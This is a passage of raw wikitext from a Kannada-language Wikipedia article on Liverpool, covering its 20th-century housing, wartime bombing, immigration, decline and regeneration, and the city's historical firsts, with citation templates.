ಕಳೆದುಕೊಂಡಿದ್ದಾರೆ.)ನಗರದ ಮುಖ್ಯ ಭಾಗದಲ್ಲಿ ಟೈಟಾನಿಕ್ ಹಡಗಿನ ಇಂಜಿನ್ ಕೋಣೆಯ ನಾಯಕರ ಗೌರವಾರ್ಥ ಸ್ಮಾರಕ ನಿರ್ಮಿಸಲಾಗಿದೆ.]] 1919 ರ ಹೌಸಿಂಗ್ ಶಾಸನವು 1920 ರ ಮತ್ತು 1930 ರ ದಶಕಗಳ ಅವಧಿಯಲ್ಲಿ ಲಿವರ್‌ಪೂಲ್‌ನ ಎಲ್ಲೆಡೆ ಬೃಹತ್ ಪ್ರಮಾಣದ ಹೌಸಿಂಗ್ ಕಟ್ಟಡಗಳ ನಿರ್ಮಾಣವು ಕಂಡುಬಂದಿತು. ಹಲವಾರು ಸಾವಿರ ಕುಟುಂಬಗಳು ನಗರದ-ಅಂತರ್‌ಪ್ರದೇಶದಿಂದ ಹೊಸ ಉಪನಗರ ಹೌಸಿಂಗ್ ಎಸ್ಟೇಟ್‌ಗಳಿಗೆ ಪುನರ್ವಸತಿ ಕಲ್ಪಿಸಿಕೊಳ್ಳಲ್ಪಟ್ಟರು, ಇದು ಯಾವ ಯಾವುದನ್ನು ಉದ್ದೇಶಿಸಿತ್ತೆಂದರೆ ಇದು ಹೆಚ್ಚಾಗಿ ವ್ಯಕ್ತಿನಿಷ್ಠವಾಗಿದ್ದರೂ ಕೂಡ ಈ ಪ್ರಕ್ರಿಯೆಯು ಅವರ ಜೀವನ ಮಟ್ಟವನ್ನು ಸುಧಾರಿಸುತ್ತದೆ. ಹೆಚ್ಚಿನ ಸಂಖ್ಯೆಯ ಖಾಸಗಿ ಮನೆಗಳು ಈ ಅವಧಿಯಲ್ಲಿ ನಿರ್ಮಿಸಲ್ಪಟ್ಟವು. ಪ್ರಕ್ರಿಯೆಯು ಎರಡನೆಯ ಜಾಗತಿಕ ಯುದ್ಧದ ನಂತರವೂ ಮುಂದುವರೆಯಲ್ಪಟ್ಟಿತು, ಜೊತೆಗೆ ಇನ್ನೂ ಹೆಚ್ಚಿನ ಹೌಸಿಂಗ್ ಎಸ್ಟೇಟ್‌ಗಳು ಉಪನಗರ ಪ್ರದೇಶಗಳಲ್ಲಿ ನಿರ್ಮಾಣವಾಗಲ್ಪಟ್ಟವು, ಅದೇ ಸಮಯದಲ್ಲಿ ಹೊಸ ಮನೆನಿರ್ಮಾಣ ಪ್ರಕ್ರಿಯೆಗಾಗಿ ಹಳೆಯ ಆಂತರಿಕ ನಗರದ ಕೆಲವು ಪ್ರದೇಶಗಳು ಕೂಡ ಪುನರ್ನಿರ್ಮಿಸಲ್ಪಟ್ಟವು. ಎರಡನೆಯ ಜಾಗತಿಕ ಯುದ್ಧದ ಸಮಯದಲ್ಲಿ, ಮರ್ಸಿಸೈಡ್‌ನಲ್ಲಿ 80 ಏರ್-ಏಡ್‌ಗಳಿದ್ದವು, ಅವು ಮಹಾನಗರ ಪ್ರದೇಶಗಳಲ್ಲಿ 2,500 ಜನರನ್ನು ಕೊಂದವು ಮತ್ತು ಅರ್ಧಕ್ಕೂ ಹೆಚ್ಚಿನ ಮನೆಗಳಿಗೆ ಹಾನಿಯನ್ನುಂಟುಮಾಡಿದವು. ಬೃಹತ್ ಪ್ರಮಾಣದ ಹೌಸಿಂಗ್ ಎಸ್ಟೇಟ್‌ಗಳು ಮತ್ತು ಬ್ರಿಟನ್‌ನ ಅತ್ಯಂತ ದೊಡ್ಡ ಬಂದರು ಯೋಜನೆಯಾದ ಸೀಫೋರ್ತ್ ಡಾಕ್ ಅನ್ನು ಒಳಗೊಂಡಂತೆ ಯುದ್ಧದ ನಂತರ ಗಣನೀಯ ಪ್ರಮಾಣದ ಪುನರ್ನಿರ್ಮಾಣ ಯೋಜನೆಗಳು ಕಂಡುಬಂದವು.ನಗರ ಕೇಂದ್ರದ ಹೆಚ್ಚಿನ ತತ್‌ಕ್ಷಣದ ಪುನರ್ನಿಮಾಣವು ಹೆಚ್ಚಿನ ಜನಪ್ರಿಯತೆಯನ್ನು ಪಡೆಯಲಿಲ್ಲ, ಮತ್ತು 1950ರ ಮತ್ತು 1960ರ ದಶಕಗಳಲ್ಲಿ ಹೆಚ್ಚಿನ ನಗರ ಯೋಜನೆಯ ನವೀಕರಣದಂತೆ ನಿಷ್ಪ್ರಯೋಜಕಗೊಳಿಸಲ್ಪಟ್ಟಿತು - ಜರ್ಮನ್ ಬಾಂಬ್ ಧಾಳಿಗೆ ಸಹಾಯವನ್ನು ಮಾಡಿದ ನಗರದ ಸ್ವತ್ತಿನ ಭಾಗಗಳು ನಗರ ಪುನಶ್ಚೇತನದ ಪ್ರಯತ್ನಗಳಿಗೆ ಬೆಂಬಲವನ್ನು ನೀಡಲಿಲ್ಲ. 1952ರ ನಂತರದಿಂದ ಲಿವರ್‌ಪೂಲ್ ಯುದ್ಧದ ಸಮಯದಲ್ಲಿ ವಾಯು ಬಾಂಬ್ ಧಾಳಿಯಿಂದ ಹಾನಿಗೊಳಗಾದ ಜರ್ಮನಿಯ ಒಂದು ನಗರವಾದ ಕೊಲೊಗ್ನ್ ಜೊತೆಗೂಡಲ್ಪಟ್ಟಿತು. ಹೆಚ್ಚಿನ ಬ್ರಿಟೀಷ್ ನಗರಗಳು ಮತ್ತು ಕೈಗಾರೀಕೀಕೃತ ನಗರಗಳಂತೆ, [[ಎರಡನೇ ಮಹಾಯುದ್ಧ|IIನೆಯ ಜಾಗತಿಕ ಯುದ್ಧ]]ದ ನಂತರ ಲಿವರ್‌ಪೂಲ್ ಗಣನೀಯ ಪ್ರಮಾಣದ ಕಾಮನ್‌ವೆಲ್ತ್ ವಲಸಿಗರ ಆವಾಸ ಸ್ಥಾನವಾಯಿತು, ಅವರೆಲ್ಲರೂ ಹೆಚ್ಚಾಗಿ ಟಾಕ್ಸ್‌ಟೆತ್‌ನಂತಹ ಹಳೆಯ ನಗರ ಪ್ರದೇಶಗಳಲ್ಲಿ ವಾಸವಾಗಿದ್ದರು. ಆದಾಗ್ಯೂ, ಹೆಚ್ಚಿನ ಪ್ರಮಾಣದ ವೆಸ್ಟ್ ಇಂಡಿಯನ್ ಬ್ಲ್ಯಾಕ್ ಸಮುದಾಯವು 20ನೆಯ ಶತಮಾನದ ಮೊದಲ ಎರಡು ದಶಕಗಳ ಸಮಯದಲ್ಲಿಯೇ ನಗರದಲ್ಲಿ ಕಂಡುಬಂದಿದ್ದರು. 1919 ರಲ್ಲಿ, ನಗರವು ಬ್ರಿಟನ್‌ನ ಮೊದಲ - ಅತ್ಯಂತ ಮುಂಚಿನದಲ್ಲದಿದ್ದರೂ ಕೂಡ - ವರ್ಣ ದಂಗೆಯ ತಾಣವಾಯಿತು, ಆ ಸಮಯದಲ್ಲಿ ಬಿಳಿಯ ಜನರು ನಗರದ ಕಪ್ಪು ಜನರ ವಿರುದ್ಧ ಹಿಂಸಾತ್ಮಕ ಪ್ರತಿಭಟನೆಯಲ್ಲಿ ತೊಡಗಿದ್ದರು. ಆ ವರ್ಷದಲ್ಲಿ ನಗರದಲ್ಲಿ ಒಬ್ಬ ಕಪ್ಪು ಮನುಷ್ಯನು ಒಬ್ಬ ಆರೋಪಿತ ಹಲ್ಲೆದಾರನಿಂದ ಮರಣಕ್ಕೊಳಗಾಗಲ್ಪಟ್ಟನು.<ref>[http://www.searchlightmagazine.com/index.php?link=template&amp;story=35 ]</ref> 1960 ರ ದಶಕದಲ್ಲಿ ಲಿವರ್‌ಪೂಲ್ "ಮರ್ಸಿಬೀಟ್"ಸೌಂಡ್‌ನ ಕೇಂದ್ರವಾಗಿತ್ತು, ಅದು [[ದಿ ಬೀಟಲ್ಸ್|ದ ಬೀಟಲ್ಸ್]] ಮತ್ತು ಸಮಕಾಲಿಕ ಲಿವರ್‌ಪ್ಯೂಡ್ಲಿಯನ್ ರಾಕ್ ಬ್ಯಾಂಡ್ಸ್‌ಗಳ ಜೊತೆಗೆ ಸಮಾನವಾಗಿ ಬೆಳೆಯಿತು. 1970 ರ ದಶಕದ-ಮಧ್ಯಭಾಗದ ನಂತರದಿಂದ ಲಿವರ್‌ಪೂಲ್‌ನ ಬಂದರುಗಳು ಮತ್ತು ಸಾಂಪ್ರದಾಯಿಕ ಉತ್ಪಾದನಾ ಉದ್ದಿಮೆಗಳು ತೀಕ್ಷ್ಣವಾದ ಅವನತಿಗೊಳಗಾಗಲ್ಪಟ್ಟವು. ಕಂಟೇನರೈಸೇಷನ್ ಪ್ರಕ್ರಿಯೆಯ ಪ್ರಾರಂಭವು ನಗರದ ಬಂದರುಗಳು ಹೆಚ್ಚಿನ ಪ್ರಮಾಣದಲ್ಲಿ ನಶಿಸಲ್ಪಟ್ಟಿತು ಎಂಬುದನ್ನು ಸೂಚಿಸಿತು. 1980 ರ ದಶಕದ ಪ್ರಾರಂಭದಲ್ಲಿ ಲಿವರ್‌ಪೂಲ್‌ನಲ್ಲಿ [[ನಿರುದ್ಯೋಗ]]ದ ಪ್ರಮಾಣಗಳು ಯುಕೆ ಯಲ್ಲಿನ ಇತರ ಪ್ರದೇಶಗಳಿಗಿಂತ ಹೆಚ್ಚಾಗಿದ್ದವು. ಇತ್ತೀಚಿನ ವರ್ಷಗಳಲ್ಲಿ, ಲಿವರ್‌ಪೂಲ್‌ನ ಅರ್ಥವ್ಯವಸ್ಥೆಯು ಪುನಶ್ಚೇತನಗೊಳ್ಳಲ್ಪಟ್ಟಿದೆ ಮತ್ತು ತೊಂಬತ್ತರ ದಶಕದ ಮಧ್ಯಭಾಗದ ನಂತರದಿಂದ ಅಭಿವೃದ್ಧಿಯ ಪ್ರಮಾಣಗಳು ರಾಷ್ಟ್ರೀಯ ಶೆಕಡಾವಾರಿಗಿಂತ ಹೆಚ್ಚಾಗಿರುವುದು ಕಂಡುಬರುತ್ತದೆ. ಈ ಮುಂಚೆ ಲ್ಯಾಂಕ್‌ಶೈರ್‌ನ ಭಾಗ, ಮತ್ತು 1889 ರಿಂದ ದೇಶದ ಆಡಳಿತ ಪ್ರದೇಶವಾಗಿದ್ದ ಲಿವರ್‌ಪೂಲ್ 1974 ರಲ್ಲಿ ಮರ್ಸಿಸೈಡ್‌ನ ಹೊಸತಾಗಿ ನಿರ್ಮಿಸಲ್ಪಟ್ಟ ಮಹಾನಗರ ದೇಶದ ಒಳಗೆ ಒಂದು ಮಹಾನಗರ ಆಡಳಿತ ಪ್ರದೇಶವಾಗಿ ಬದಲಾಗಲ್ಪಟ್ಟಿತು. 20ನೆಯ ಶತಮಾನದ ಕೊನೆಯಲ್ಲಿ ಲಿವರ್‌ಪೂಲ್ ಪುನರ್ನಿರ್ಮಾಣದ ಕಡೆಗೆ ತನ್ನ ಗಮನವನ್ನು ಹರಿಸಿತು, ಈ ಒಂದು ಪ್ರಕ್ರಿಯೆಯು ಇವತ್ತಿನವರೆಗೂ ಮುಂದುವರೆಯುತ್ತಿದೆ. [[File:Oriel chambers.jpg|thumb|right|ಪ್ರಪಂಚದ ಮೊಟ್ಟಮೊದಲ ಆಧುನಿಕ ಕಟ್ಟಡ ಓರಿಯಲ್ ಚೇಂಬರ್ಸ್]] ===21ನೇ ಶತಮಾನ=== 2002 ರಲ್ಲಿ [[ಎರಡನೇ ಎಲಿಜಬೆಥ್|ಎಲಿಜಬೆತ್ II]] ರ ಸುವರ್ಣ ಮಹೋತ್ಸವವನ್ನು ಆಚರಿಸುವುದಕ್ಕೆ, ಕನ್ಸರ್ವೇಷನ್ ಚಾರಿಟಿ ಪ್ಲ್ಯಾಂಟ್‌ಲೈಫ್ ದೇಶದ ಹೂವುಗಳನ್ನು ಆಯ್ಕೆಮಾಡುವುದಕ್ಕೆ ಒಂದು ಸ್ಪರ್ಧೆಯನ್ನು ಅಯೋಜಿಸಿತು; ಸೀ-ಹೋಲಿ ಇದು ಲಿವರ್‌ಪೂಲ್‌ನ ಅಂತಿಮ ಆಯ್ಕೆಯಾಗಿತ್ತು. 1960 ರ ರಾಕ್ ಗುಂಪುಗಳಾದ [[ದಿ ಬೀಟಲ್ಸ್|ದ ಬೀಟಲ್ಸ್]] ಮೇಲೆ ಬಂಡವಾಳ ಹೂಡುವುದು, ಹಾಗೆಯೇ ನಗರದ ವರ್ಲ್ಡ್-ಕ್ಲಾಸ್ ಕಲಾ ಸಂಗ್ರಹಾಲಯಗಳು, ಮ್ಯೂಸಿಯಮ್‌ಗಳು ಮತ್ತು ಹೆಗ್ಗುರುತುಗಳು, ಪ್ರವಾಸೋದ್ಯಮಗಳು ಲಿವರ್‌ಪೂಲ್‌ನ ಅರ್ಥವ್ಯವಸ್ಥೆಯಲ್ಲಿ ಗಮನಾರ್ಹ ಅಂಶಗಳಾದವು. 2004 ರಲ್ಲಿ, ಪ್ರಾಪರ್ಟಿ ಬೆಳವಣಿಗೆಕಾರ ಗ್ರಾಸ್‌ವೆನರ್ ಪ್ಯಾರಾಡೈಸ್ ಯೋಜನೆಯನ್ನು ಪ್ರಾರಂಭಿಸಿದರು, ಒಂದು £920&nbsp;m ಅಭಿವೃದ್ಧಿಯು ಪ್ಯಾರಾಡೈಸ್ ಸ್ಟ್ರೀಟ್ ಅನ್ನು ಕೇಂದ್ರವಾಗಿರಿಕೊಂಡಿತ್ತು, ಅದು ಯುದ್ಧ-ನಂತರದ ಪುನರ್ನಿರ್ಮಾಣದ ನಂತರದಿಂದ ಲಿವರ್‌ಪೂಲ್‌ನ ನಗರ ಕೇಂದ್ರಭಾಗದಿಂದ ಗಮನಾರ್ಹವಾದ ಬದಲಾವಣೆಯನ್ನು ಮಡುವುದನ್ನು ಒಳಗೊಂಡಿತ್ತು. ’ಲಿವರ್‌ಪೂಲ್ 1' ಎಂಬುದಾಗಿ ಪುನರ್‌ನಾಮಕರಣ ಮಾಡಲ್ಪಟ್ಟ ನಗರ ಕೇದ್ರವು ಮೇ 2008 ರಲ್ಲಿ ತೆರೆಯಲ್ಪಟ್ಟಿತು. 2007 ರಲ್ಲಿ ನಗರವು ಲಿವರ್‌ಪೂಲ್ ಆಡಳಿತ ಪ್ರದೇಶದ ಸ್ಥಾಪನೆಯ 800ನೆಯ ವಾರ್ಷಿಕೋತ್ಸವವನ್ನು ಆಚರಿಕೊಂಡಿತು, ಅದಕ್ಕಾಗಿ ಹಲವಾರು ಸಂಖ್ಯೆಯ ಕಾರ್ಯಕ್ರಮಗಳು ಆಯೋಜಿಸಲ್ಪಟ್ಟಿದ್ದವು. ಲಿವರ್‌ಪೂಲ್ 2008ನೇ ವರ್ಷಕ್ಕೆ ಒಂದು ಜಂಟಿ ಯುರೋಪಿಯನ್ ಕ್ಯಾಪಿಟಲ್ ಆಫ್ ಕಲ್ಚರ್ ಆಗಿದೆ. ಸಪ್ಟೆಂಬರ್ 2008 ರಲ್ಲಿನ ಪ್ರಮುಖ ಆಚರಣೆಗಳು 20 ಮೀಟರ್‌ಗಳಷ್ಟು ಎತ್ತರದ ಮತ್ತು 37 ಟನ್‌ಗಳ ಭಾರವನ್ನು ಹೊಂದಿರುವ ಒಂದು ಬೃಹತ್ ಯಾಂತ್ರಿಕ ಸ್ಪೈಡರ್ ಲಾ ಪ್ರಿನ್ಸೆಸ್ಸ್ ಅನ್ನು ಒಳಗೊಂಡಿದ್ದವು ಮತ್ತು ಇದು ಲಿವರ್‌ಪೂಲ್‌ನ "ಎಂಟು ವಿಭಾಗಗಳ" ಪ್ರತಿ ನಿಧಿಸುವಿಕೆಯಾಗಿತ್ತು: ಗೌರವ, ಇತಿಹಾಸ, ಸಂಗೀತ, ಮರ್ಸಿ, ಬಂದರುಗಳು, ಆಡಳಿತ, ಸನ್‌ಶೈನ್ ಮತ್ತು ಸಂಸ್ಕೃತಿ. ಲಾ ಪ್ರಿನ್ಸೆಸ್ ಉತ್ಸವದ ಆಚರಣೆಯ ಸಮಯದಲ್ಲಿ ಬೀದಿಯೆಲ್ಲೆಡೆ ತಿರುಗಿತು, ಮತ್ತು ಕ್ವೀನ್ಸ್‌ವೇ ಟ್ಯುನಲ್ ಅನ್ನು ಪ್ರವೇಶಿಸುವ ಮೂಲಕ ಸಮಾಪ್ತಿಗೊಂಡಿತು. ===ರಾಜನ ಎರಡನೆಯ ನಗರ=== [[File:Liverpool1890s.jpg|thumb|right|ಲೈಮ್ ಸ್ಟ್ರೀಟ್, ಲಿವರ್‌ಪೂಲ್ 1890, ಎಡಕ್ಕೆ ಸೇಂಟ್‌ ಜಾರ್ಜ್ ಹಾಲ್, ಬಲಕ್ಕೆ ಗ್ರೇಟ್ ನಾರ್ಥ್‌ ವೆಸ್ಟರ್ನ್ ಹೊಟೆಲ್, ಹಿನ್ನೆಲೆಯಲ್ಲಿ ವಾಕರ್ ಆರ್ಟ್ ಗ್ಯಾಲರಿ ಮತ್ತು ಸೆಷನ್ಸ್ ಹೌಸ್.ಪ್ರಿನ್ಸ್ ಆಲ್ಬರ್ಟ್‌ನ ಮೂರ್ತಿ, ಡಿಸ್ರೇಲಿ, ರಾಣಿ ವಿಕ್ಟೋರಿಯಾ ಮತ್ತು ವೆಲ್ಲಿಂಗ್ಟನ್ ಕಾಲಮ್ (ಮಧ್ಯದಲ್ಲಿ)]] 19 ನೆಯ ಶತಮಾನದ ಅವಧಿಯಲ್ಲಿ ಲಿವರ್‌ಪೂಲ್‌ನ ಸಂಪತ್ತು ಲಂದನ್‌ನ ಸಂಪತ್ತನ್ನು ಮೀರಿಸಿತು,<ref name="Ten facts about Liverpool">[http://www.telegraph.co.uk/news/1431943/Ten-facts-about-Liverpool.html ಟೆನ್ ಫಾಕ್ಟ್ಸ್ ಅಬೌಟ್ ಲಿವರ್‌ಪೂಲ್] ಟೆಲೆಗ್ರಾಪ್, 4 ಜೂನ್ 2003</ref> ಮತ್ತು ಲಿವರ್‌ಪೂಲ್‌ನ ಕಸ್ಟಮ್ ಹೌಸ್ ಬ್ರಿಟೀಷ್ ವರಮಾನ ಇಲಾಖೆಗೆ ಸಹಾಯವನ್ನುಂಟುಮಾಡುವ ಏಕೈಕ ಬೃಹತ್ ಇಲಾಖೆಯಾಗಿತ್ತು.<ref>{{Cite book|last=Hatton|first=Brian|title=Shifted tideways: Liverpool's changing fortunes|publisher=The Architectural Review|location=|year=2008|url=http://findarticles.com/p/articles/mi_m3575/is_1331_223/ai_n24265855/?tag=content;col1|archiveurl=https://archive.today/20120604181307/http://findarticles.com/p/articles/mi_m3575/is_1331_223/ai_n24265855/?tag=content;col1|archivedate=2012-06-04|access-date=2011-05-17|url-status=live}}</ref> ಬ್ರಿಟೀಷ್ ನಗರದಲ್ಲಿ ತನ್ನ ಸ್ವಂತ ವೈಟ್‌ಹಾಲ್ ಕಾರ್ಯಾಲಯವನ್ನು ಹೊಂದಿರುವ ಏಕೈಕ ನಗರ ಎಂಬ ಸತ್ಯಸಂಗತಿಯಿಂದ ಲಿವರ್‌ಪೂಲ್‌ನ ಸ್ಥಾನಮಾನವನ್ನು ತೀರ್ಮಾನಿಸಬಹುದು.<ref>{{Cite book|last=Henderson|first=W.O.|title=The Liverpool office in London|publisher=London School of Economics |series=Economica xiii|pages=473–479|location=|year=1933|url=}}</ref> ಜಗತ್ತಿನೆಲ್ಲೆಡೆಯಲ್ಲಿ ಮೊದಲ ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್ ಕನ್ಸುಲ್, ಜೇಮ್ಸ್ ಮೌರಿ 1790 ರಲ್ಲಿ ಲಿವರ್‌ಪೂಲ್‌ಗೆ ನೇಮಕಾತಿ ಮಾಡಲ್ಪಟ್ಟರು, ಮತ್ತು 39 ವರ್ಷಗಳ ಕಾಲ ಅದೇ ಕಛೇರಿಯಲ್ಲಿ ಕಾರ್ಯನಿರ್ವಹಿಸಿದರು. 1851 ರಲ್ಲಿಯೇ ನಗರವು "ಯುರೋಪ್‌ನ ನ್ಯೂಯಾರ್ಕ್" ಎಂಬುದಾಗಿ ವರ್ಣಿಸಲ್ಪಟ್ಟಿತ್ತು<ref>{{Cite book|title=The Bankers' Magazine|publisher=Groombridge & Sons|location=London|series=v.11|year=1851|url=http://books.google.co.uk/books?id=nC05AAAAMAAJ&pg=PA783&dq=new-york-of-europe&client=firefox-a}}</ref> ಮತ್ತು ಒಂದು ಔನತ್ಯದಲ್ಲಿ ನಿರ್ಮಿಸಲ್ಪಟ್ಟ ಇದರ ಕಟ್ಟಡಗಳು, 20ನೆಯ ಶತಮಾನವು ಕಳೆದಂತೆಲ್ಲಾ ನಗರದ ಮೆಗಲೋಮೇನಿಯಾಕಲ್ ಪ್ರಮಾಣದಲ್ಲಿಯೂ ಉತ್ತಮ ನಂಬಿಕೆ ಮತ್ತು ಅಭಿಲಾಷೆಯ ಒಂದು ಸಾಕ್ಷ್ಯವಾಗಿ ಕಂಡುಬರುತ್ತದೆ. ಲಿವರ್‌ಪೂಲ್ 1930 ರಿಂದ ತನ್ನ ಕಾರ್ಯಾಚರಣೆಯನ್ನು ಪ್ರಾರಂಭಿಸಿದ ಯುಕೆಯ ಮೊದಲ ಪ್ರಾಂತೀಯ ಸರ್ಕಾರದ ಒಂದು ತಾಣವಾಗಿತ್ತು. ಎಲ್ಗರ್‌ರ ಪೊಂಪ್ ಎಂಡ್ ಸರ್ಕಮ್‌ಸ್ಟನ್ಸಸ್ ಮಾರ್ಚ್ ನಂ. 1, ಅನೇಕ ವೇಳೆ ಬ್ರಿಟನ್‌ನ ಸಾಮ್ರ್ಯಾಜ್ಯಷಾಹಿ ರಾಷ್ಟ್ರಗೀತೆ ಎಂಬಂತೆ ವೀಕ್ಷಿಸಲ್ಪಡುತ್ತದೆ, ಇದು ಅದರ ಸಂಯೋಜಕನಿಂದ ''ಲಿವರ್‌ಪೂಲ್ ಆರ್ಕೆಸ್ಟ್ರಲ್ ಸೊಸೈಟಿ'' ಗೆ ಸಮರ್ಪಿಸಲ್ಪಟ್ಟಿತು ಮತ್ತು ಅಕ್ಟೋಬರ್ 1901 ರಲ್ಲಿ ನಗರದಲ್ಲಿ ತನ್ನ ಪ್ರಥಮ ಪ್ರದರ್ಶನವನ್ನು ಹೊಂದಿತ್ತು. ಎರಡನೆಯ ಜಾಗತಿಕ ಯುದ್ಧದ ಸಮಯದಲ್ಲಿ, ಲಿವರ್‌ಪೂಲ್‌ನ ನಿರ್ಣಯಾತ್ಮಕ ತಂತ್ರಗಾರಿಕಾ ಮಹತ್ವವು ಹಿಟ್ಲರ್ ಮತ್ತು ಚರ್ಚಿಲ್ ಇವರಿಬ್ಬರಿಂದಲೂ ಗುರುತಿಸಲ್ಪಟ್ಟಿತು, ಜೊತೆಗೆ ನಗರವು ಮಿಂಚುಧಾಳಿಗೆ ಲಂಡನ್‌ನ ನಂತರದ ಸ್ಥಾನದಲ್ಲಿತ್ತು,<ref>{{Cite web|url=http:// www.liverpoolmuseums.org.uk/maritime/exhibitions/blitz/blitz.asp|title=Spirit of the Blitz : Liverpool in the Second World War|publisher=Liverpool Museums|year=2003 |accessdate=2010-09-13}}</ref> ಮತ್ತು ಪ್ರಮುಖ ಅಟ್ಲಾಂಟಿಕ್‌ನ ಯುದ್ಧವು ಆಯೋಜಿಸಲ್ಪಟ್ಟಿತ್ತು, ಅದು ಲಿವರ್‌ಪೂಲ್‌ನಿಂದ ನಡೆಸಲ್ಪಟ್ಟಿತು ಮತ್ತು ಜಯಗಳಿಸಲ್ಪಟ್ಟಿತು.<ref>{{Cite web|url=http://www. liverpoolmuseums. org.uk/ maritime/archive/displayGuide.aspx?sid=4&mode=html&sorStr=&serStr=&pgeInt=&catStr= |title=Merseyside Maritime Museum, Sheet No. 4: Battle of the Atlantic |publisher= Liverpoolmuseums.org.uk |date=1939-09-03 |accessdate=2010-08-03}}</ref> ===ಆವಿಷ್ಕಾರಗಳು ಮತ್ತು ಸಂಶೋಧನೆಗಳು=== [[File:Liverpool School Tropical Medical School 1.JPG|thumb|left|ಪ್ರಪಂಚದಲ್ಲಿ ಮೊಟ್ಟಮೊದಲನೆಯ ಟ್ರಾಪಿಕಲ್ ಮೆಡಿಸಿನ್ ಸ್ಕೂಲ್]] ಸಾಗಣೆ ವ್ಯವಸ್ಥೆಗಳು, ರೈಲ್ವೇಗಳು, ಅಟ್ಲಾಂಟಿಕ್ ಆಚೆಯ ಉಗಿಹಡಗುಗಳು, ಮುನ್ಸಿಪಾಲ್ ರಸ್ತೆರೈಲಿಬಂಡಿಗಳು,<ref>{{Cite web|url=http://www.vam. ac.uk/collections/ periods_styles/19thcentury /steam/ other_ transport/index.html |title=Victoria & Albert Museum. London |publisher=Vam.ac.uk |date=2005-06-01 |accessdate=2010-08-03}}</ref> ವಿದ್ಯುತ್ ರೈಲುಗಳು<ref>{{Cite web |url=http: //www.emus.co.uk/zone/mersey/mersey.htm |title=Suburban Electric Railway Association, Coventry |publisher=Emus.co.uk |date= |accessdate=2010-08-03 |archive-date=2010-09-29 |archive-url=https://web.archive.org/web/20100929110313/http://www.emus.co.uk/zone/mersey/mersey.htm |url-status=dead }}</ref> ಮತ್ತು ಹೆಲಿಕ್ಯಾಪ್ಟರ್ <ref>{{Cite book|last=Bagwell|first=Philip Sidney|title=Transport in Britain 1750–2000|publisher=Continuum International Publishing Group|location =|year=2006|url =http: //books.google.co.uk/books?id=OcY5PkqeqgIC&pg=PA170&dq=helicopter+1950+liverpool+cardiff&num=100&client=firefox-a | isbn=9781852855901}}</ref> ಇವರುಗಳು ಲಿವರ್‌ಪೂಲ್‌ನಲ್ಲಿ ಬೃಹತ್ ಸಾಗಣೆಯ ವಿಧಾನಗಳಾಗಿ ಪ್ರಾಥಮಿಕವಾಗಿ ಕಂಡು ಬಂದವು. ಅಂಧರಿಗಾಗಿ ನಿರ್ಮಿಸಲ್ಪಟ್ಟ ಮೊದಲ ಶಾಲೆ,<ref>{{Cite web |url=http://www.rsblind.org.uk/map.html |title=Royal School for the Blind, Liverpool |publisher=Rsblind.org.uk |date=1999-03-12 |accessdate=2010-08-03 |archive-date=2010-06-03 |archive-url=https://web.archive.org/web/20100603053551/http://www.rsblind.org.uk/map.html |url-status=dead }}</ref> ಹುಡುಗಯರಿಗಾಗಿ ಹೈ ಸ್ಕೂಲ್,<ref>{{Cite book|last=Bisson|first=Frederick|title=Our schools and colleges|publisher=Simpkin, Marshall|location=London|year=1884|url=http://books.google.co.uk/books?id=XcNJZAcjHQwC&q=girls+school+1844+liverpool+first&dq=girls+school+1844+liverpool+first&num=100&client=firefox-a}}</ref><ref>{{Cite web |url=http://dickens.classicauthors.net/speeches/speeches7.html |title=Charles Dickens, speech, 26 Feb, 1844 |publisher=Dickens.classicauthors.net |date= |accessdate=2010-08-03 |archive-date=2010-07-04 |archive-url=https://web.archive.org/web/20100704081557/https://dickens.classicauthors.net/speeches/speeches7.html |url-status=dead }}</ref> ಕೌನ್ಸಿಲ್ ಹೌಸ್<ref>{{Cite web |url=http://www.scottiepress.org.uk/projects/martinplq.htm |title=The Scottie Press |publisher=The Scottie Press |date= |accessdate=2010-08-03 |archive-date=2010-03-03 |archive-url=https://web.archive.org/web/20100303172146/http://www.scottiepress.org.uk/projects/martinplq.htm |url-status=dead }}</ref> ಮತ್ತು ಜುವನೈಲ್ ಕೋರ್ಟ್<ref>{{Cite book|last=Adler|first=N|title=The work of Juvenile Courts|publisher=Journal of International and Comparative Law|location=Cambridge University Press|series=Third Series, Vol.7, No.4|pages=217–227|year=1925|url=http://www.jstor.org/pss/753176}}</ref> ಮುಂತಾದವುಗಳು ಲಿವರ್‌ಪೂಲ್‌ನಲ್ಲಿ ತಲೆ ಎತ್ತಲ್ಪಟವು. ಆರ್‌ಎಸ್‌ಪಿಸಿಎ,<ref>{{Cite book|last=Garner|first=Robert|title=Animals, politics, and morality|publisher=University Press|location=Manchester|year=1993|url=http://books.google.co.uk/books?id=GSK8AAAAIAAJ&pg=PA41&dq=liverpool+rspca+wanton-cruelty&num=100&client=firefox-a | isbn=9780719035753}}</ref> ಎನ್‌ಎಸ್‌ಪಿಸಿಸಿ,<ref>{{Cite book|last=Hendrick|first=Harry|title=Child welfare and social policy – an essential reader|publisher=The Policy Press|location=|year=2005|url=http://books.google.co.uk/books?id=eYr7CllxrLUC&pg=PA37&dq=nspcc+liverpool+first&num=100&client=firefox-a | isbn=9781861345660}}</ref> ಏಜ್ ಕನ್ಸರ್ನ್,<ref>{{Cite web |author=Derren Hayes |url=http://www.communitycare.co.uk/Articles/2009/01/01/110282/liverpool-pss-planting-the-seed-of-modern-social-work.html |title=communitycare.co.uk |publisher=communitycare.co.uk |date= |accessdate=2010-08-03 |archive-date=2009-08-18 |archive-url=https://web.archive.org/web/20090818163026/http://www.communitycare.co.uk/Articles/2009/01/01/110282/liverpool-pss-planting-the-seed-of-modern-social-work.html |url-status=dead }}</ref> ರಿಲೇಟ್, ನಾಗರಿಕರ ಸಲಹಾ ಕೇಂದ್ರ<ref>{{Cite web|author=Jackie Rand |url=http://news.bbc.co.uk/1/hi/programmes/politics_show/8022549.stm |title=BBC Politics Show, 1 May 2009 |publisher=BBC News |date=2009-05-01 |accessdate=2010-08-03}}</ref> ಮತ್ತು ಕಾನೂನು ಸಹಾಯಗಳು ನಗರದಲ್ಲಿನ ಕಾರ್ಯದಿಂದ ವಿಕಸನ ಹೊಂದಲ್ಪಟ್ಟವು. ಸಾರ್ವಜನಿಕ ಆರೋಗ್ಯ ವಿಭಾಗದಲ್ಲಿ, ಮೊದಲ ಲೈಫ್‌ಬೋಟ್ ಸ್ಟೇಷನ್, ಸಾರ್ವಜನಿಕ ಸ್ನಾನಗೃಹಗಳು ಮತ್ತು ವಾಷ್-ಹೌಸ್‌ಗಳು,<ref>{{Cite book|last=Wohl|first=Anthony S.|title=Endangered Lives: Public Health in Victorian 